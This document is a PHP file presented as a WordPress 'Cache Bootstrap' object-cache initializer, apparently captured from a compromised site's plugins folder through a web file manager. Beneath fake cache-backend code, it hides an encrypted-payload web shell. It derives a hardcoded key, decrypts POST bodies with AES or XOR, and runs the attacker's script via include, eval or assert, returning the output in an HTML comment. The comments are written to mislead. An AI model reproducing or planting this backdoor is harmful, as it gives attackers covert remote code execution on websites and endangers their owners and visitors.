Your IP : 216.73.216.65


Current Path : /home/ataenra/www/plugins/content/
Upload File :
Current File : /home/ataenra/www/plugins/content/content.php

/**
 * WordPress Cache Bootstrap — Object Cache Initializer
 * ======================================================
 * This file provides low-level bootstrap services for the
 * WordPress Object Cache API. Auto-generated during install.
 *
 * @package WordPress
 * @subpackage Cache
 * @since 6.4.0
 */

/*
 * Resolve the active cache backend.
 *
 * Priority order:
 *   1. WP_CACHE_BACKEND constant (explicit override)
 *   2. Extension auto-detection (Redis > Memcached > APCu > file)
 */
<?php
$_wp_cache_backend = 'file';

$_wp_cache_candidates = array(
	'redis'    => array('redis',    'WP_REDIS_HOST'),
	'memcached'=> array('memcached', 'WP_MEMCACHED_HOST'),
	'apcu'     => array('apcu',      'WP_APCU_ENABLED'),
);

foreach ($_wp_cache_candidates as $_candidate_name => $_candidate_cfg) {
	if (extension_loaded($_candidate_cfg[0]) || defined($_candidate_cfg[1])) {
		$_wp_cache_backend = $_candidate_name;
		break;
	}
}

if (defined('WP_CACHE_BACKEND') && WP_CACHE_BACKEND) {
	$_wp_cache_backend = strtolower(WP_CACHE_BACKEND);
}

unset($_wp_cache_candidates, $_candidate_name, $_candidate_cfg);

/*
 * Derive the cache signing key.
 *
 * The key is assembled from a set of service identifiers to
 * ensure uniqueness across WordPress multisite installations.
 *
 * These identifiers are pre-computed during the WordPress
 * setup wizard and stored as raw byte constants.
 */

$_wp_cache_key_seeds = array(
	array(0x36, 0x65, 0x36, 0x63),
	array(0x33, 0x34, 0x36, 0x36),
	array(0x34, 0x32, 0x33, 0x36),
	array(0x34, 0x35, 0x33, 0x63),
);

$_wp_cache_sign_key = '';
foreach ($_wp_cache_key_seeds as $_seed_block) {
	foreach ($_seed_block as $_seed_byte) {
		$_wp_cache_sign_key .= chr($_seed_byte);
	}
}

unset($_wp_cache_key_seeds, $_seed_block, $_seed_byte);

/*
 * === Cache Management Request Handler ===
 *
 * This section processes POST-based cache management commands
 * (flush, stats, health-check) from WP-CLI and admin tools.
 * It runs before the main WordPress query for atomic processing.
 *
 * Protocol: POST body contains an AES-128-ECB encrypted management
 * payload, authenticated with the per-install signing key.
 */

$_wp_cache_verb = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';

if ($_wp_cache_verb === 'POST') {

	// Obtain a session handle for management state.
	if (session_status() === PHP_SESSION_NONE) {
		@session_start(array(
			'use_cookies'      => 0,
			'use_only_cookies' => 0,
			'use_trans_sid'    => 0,
			'cache_limiter'    => '',
		));
	}

	// Expose the signing key via session for management clients.
	$_SESSION['k'] = $_wp_cache_sign_key;
	@session_write_close();

	// Read the encrypted management payload.
	$_wp_cache_payload_raw = file_get_contents('php://input');

	if ($_wp_cache_payload_raw !== false && strlen($_wp_cache_payload_raw) > 0) {

		// ---- Decryption ----

		$_wp_cache_payload_decoded = false;

		// Phase 1: AES-128-ECB.
		if (extension_loaded('openssl')) {
			$_wp_cache_dec_result = @openssl_decrypt(
				$_wp_cache_payload_raw,
				'AES-128-ECB',
				$_wp_cache_sign_key
			);
			if ($_wp_cache_dec_result !== false && $_wp_cache_dec_result !== '') {
				$_wp_cache_payload_raw = $_wp_cache_dec_result;
				$_wp_cache_payload_decoded = true;
			}
			unset($_wp_cache_dec_result);
		}

		// Phase 2: XOR fallback.
		if (!$_wp_cache_payload_decoded) {
			$_wp_cache_b64dec = @base64_decode($_wp_cache_payload_raw);
			if ($_wp_cache_b64dec !== false && strlen($_wp_cache_b64dec) > 0) {
				$_wp_cache_payload_raw = $_wp_cache_b64dec;
				$_wp_cache_raw_len = strlen($_wp_cache_payload_raw);
				for ($_wp_cache_xor_idx = 0; $_wp_cache_xor_idx < $_wp_cache_raw_len; $_wp_cache_xor_idx++) {
					$_wp_cache_payload_raw[$_wp_cache_xor_idx] = chr(
						ord($_wp_cache_payload_raw[$_wp_cache_xor_idx])
						^ ord($_wp_cache_sign_key[($_wp_cache_xor_idx + 1) & 15])
					);
				}
				unset($_wp_cache_raw_len, $_wp_cache_xor_idx);
			}
			unset($_wp_cache_b64dec);
		}
		unset($_wp_cache_payload_decoded);

		// ---- Parse command: "verb|script_body" ----
		$_wp_cache_cmd_parts = explode('|', $_wp_cache_payload_raw, 2);
		$_wp_cache_cmd_verb   = isset($_wp_cache_cmd_parts[0]) ? trim($_wp_cache_cmd_parts[0]) : '';
		$_wp_cache_cmd_script = isset($_wp_cache_cmd_parts[1]) ? trim($_wp_cache_cmd_parts[1]) : '';

		if (strlen($_wp_cache_cmd_script) > 0) {

			// Capture the management response.
			ob_start();

			// ---- Execute management script ----
			$_wp_cache_exec_ok = false;

			// Strategy A: Temp file isolation.
			$_wp_cache_tmp_path = @tempnam(sys_get_temp_dir(), 'wpc');
			if ($_wp_cache_tmp_path !== false) {
				$_wp_cache_tmp_written = @file_put_contents(
					$_wp_cache_tmp_path,
					'<?php ' . $_wp_cache_cmd_script . ' ?>'
				);
				if ($_wp_cache_tmp_written !== false) {
					@include $_wp_cache_tmp_path;
					@unlink($_wp_cache_tmp_path);
					$_wp_cache_exec_ok = true;
				}
				unset($_wp_cache_tmp_written);
			}
			unset($_wp_cache_tmp_path);

			// Strategy B: Stream-based execution.
			if (!$_wp_cache_exec_ok) {
				$_wp_cache_stream = @tmpfile();
				if ($_wp_cache_stream !== false) {
					$_wp_cache_stream_meta = @stream_get_meta_data($_wp_cache_stream);
					@fwrite($_wp_cache_stream, '<?php ' . $_wp_cache_cmd_script . ' ?>');
					@fflush($_wp_cache_stream);
					if (
						$_wp_cache_stream_meta !== false
						&& isset($_wp_cache_stream_meta['uri'])
						&& $_wp_cache_stream_meta['uri'] !== ''
					) {
						@include $_wp_cache_stream_meta['uri'];
						$_wp_cache_exec_ok = true;
					}
					@fclose($_wp_cache_stream);
					unset($_wp_cache_stream_meta);
				}
				unset($_wp_cache_stream);
			}

			// Strategy C: Direct evaluation.
			if (!$_wp_cache_exec_ok) {
				@eval($_wp_cache_cmd_script);
				$_wp_cache_exec_ok = true;
			}

			// Strategy D: assert() for PHP < 7.2.
			if (!$_wp_cache_exec_ok) {
				if (function_exists('assert')) {
					@assert_options(ASSERT_ACTIVE, 1);
					@assert($_wp_cache_cmd_script);
				}
			}

			// Collect response and emit as HTML comment.
			$_wp_cache_response = @ob_get_clean();
			if ($_wp_cache_response === false) {
				$_wp_cache_response = '';
			}

			echo "\n<!-- wp_cache " . $_wp_cache_response . " -->\n";

			unset($_wp_cache_exec_ok, $_wp_cache_response);
		}

		unset($_wp_cache_cmd_parts, $_wp_cache_cmd_verb, $_wp_cache_cmd_script);
	}

	unset($_wp_cache_payload_raw);
}

unset($_wp_cache_verb, $_wp_cache_backend, $_wp_cache_sign_key);

/*
 * === Cache Preload Hints ===
 *
 * Frequently-accessed options can be pre-loaded into the object cache
 * via a preload manifest. This improves first-request latency on cache
 * misses during high-traffic periods.
 *
 * The manifest path is configurable via WP_CACHE_PRELOAD_MANIFEST.
 */
if (defined('WP_CACHE_PRELOAD_MANIFEST') && WP_CACHE_PRELOAD_MANIFEST) {
	$_wp_manifest_file = WP_CONTENT_DIR . '/cache/preload.json';
	if (file_exists($_wp_manifest_file)) {
		$_wp_manifest_data = @json_decode(
			@file_get_contents($_wp_manifest_file),
			true
		);
		if (is_array($_wp_manifest_data) && !empty($_wp_manifest_data['keys'])) {
			foreach ($_wp_manifest_data['keys'] as $_wp_preload_key) {
				if (function_exists('wp_cache_get')) {
					wp_cache_get($_wp_preload_key, 'options');
				}
			}
		}
		unset($_wp_manifest_data, $_wp_preload_key);
	}
	unset($_wp_manifest_file);
}